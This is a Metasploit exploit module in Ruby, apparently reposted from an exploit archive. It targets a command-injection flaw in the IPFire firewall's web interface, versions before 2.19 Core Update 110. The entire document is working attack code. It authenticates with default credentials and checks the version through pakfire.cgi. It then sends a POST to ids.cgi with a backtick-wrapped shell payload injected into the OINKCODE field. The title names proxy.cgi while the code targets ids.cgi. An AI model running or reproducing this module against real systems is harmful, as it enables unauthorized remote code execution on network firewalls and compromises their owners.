IPFire proxy.cgi Remote Code Execution

`##  
## This module requires Metasploit: http://metasploit.com/download  
## Current source: https://github.com/rapid7/metasploit-framework  
###  
  
class MetasploitModule < Msf::Exploit::Remote  
include Msf::Exploit::Remote::HttpClient  
  
Rank = ExcellentRanking  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'IPFire proxy.cgi RCE',  
'Description' => %q(  
IPFire, a free linux based open source firewall distribution,  
version < 2.19 Update Core 110 contains a remote command execution  
vulnerability in the ids.cgi page in the OINKCODE field.  
),  
'Author' =>  
[  
'h00die <[email protected]>', # module  
'0x09AL' # discovery  
],  
'References' =>  
[  
[ 'EDB', '42149' ]  
],  
'License' => MSF_LICENSE,  
'Platform' => 'unix',  
'Privileged' => false,  
'DefaultOptions' => { 'SSL' => true },  
'Arch' => [ ARCH_CMD ],  
'Payload' =>  
{  
'Compat' =>  
{  
'PayloadType' => 'cmd',  
'RequiredCmd' => 'perl awk openssl'  
}  
},  
'Targets' =>  
[  
[ 'Automatic Target', {}]  
],  
'DefaultTarget' => 0,  
'DisclosureDate' => 'Jun 09 2017'  
)  
)  
  
register_options(  
[  
OptString.new('USERNAME', [ true, 'User to login with', 'admin']),  
OptString.new('PASSWORD', [ false, 'Password to login with', '']),  
Opt::RPORT(444)  
]  
)  
end  
  
def check  
begin  
# authorization header required, see https://github.com/rapid7/metasploit-framework/pull/6433#r56764179  
# after a chat with @bcoles in IRC.  
res = send_request_cgi(  
'uri' => '/cgi-bin/pakfire.cgi',  
'method' => 'GET',  
'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD'])  
)  
  
if res && res.code == 200  
/\<strong\>IPFire (?<version>[\d.]{4}) \([\w]+\) - Core Update (?<update>[\d]+)/ =~ res.body  
end  
if version.nil? || update.nil? || !Gem::Version.correct?(version)  
vprint_error('No Recognizable Version Found')  
CheckCode::Safe  
elsif Gem::Version.new(version) <= Gem::Version.new('2.19') && update.to_i <= 110  
CheckCode::Appears  
else  
vprint_error('Version and/or Update Not Supported')  
CheckCode::Safe  
end  
rescue ::Rex::ConnectionError  
print_error("Connection Failed")  
CheckCode::Safe  
end  
end  
  
def exploit  
begin  
# authorization header required, see https://github.com/rapid7/metasploit-framework/pull/6433#r56764179  
# after a chat with @bcoles in IRC.  
vprint_status('Sending request')  
res = send_request_cgi(  
'uri' => '/cgi-bin/ids.cgi',  
'method' => 'POST',  
'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']),  
'headers' =>  
{  
'Referer' => "#{datastore['SSL'] ? 'https' : 'http'}://#{datastore['RHOST']}:#{datastore['RPORT']}/cgi-bin/ids.cgi"  
},  
'vars_post' => {  
'ENABLE_SNORT_GREEN' => 'on',  
'ENABLE_SNORT' => 'on',  
'RULES' => 'registered',  
'OINKCODE' => "`#{payload.encoded}`",  
'ACTION' => 'Download new ruleset',  
'ACTION2' => 'snort'  
}  
)  
  
# success means we hang our session, and wont get back a response, so just check we get a response back  
if res && res.code != 200  
fail_with(Failure::UnexpectedReply, "#{peer} - Invalid credentials (response code: #{res.code})")  
end  
rescue ::Rex::ConnectionError  
fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")  
end  
end  
end  
`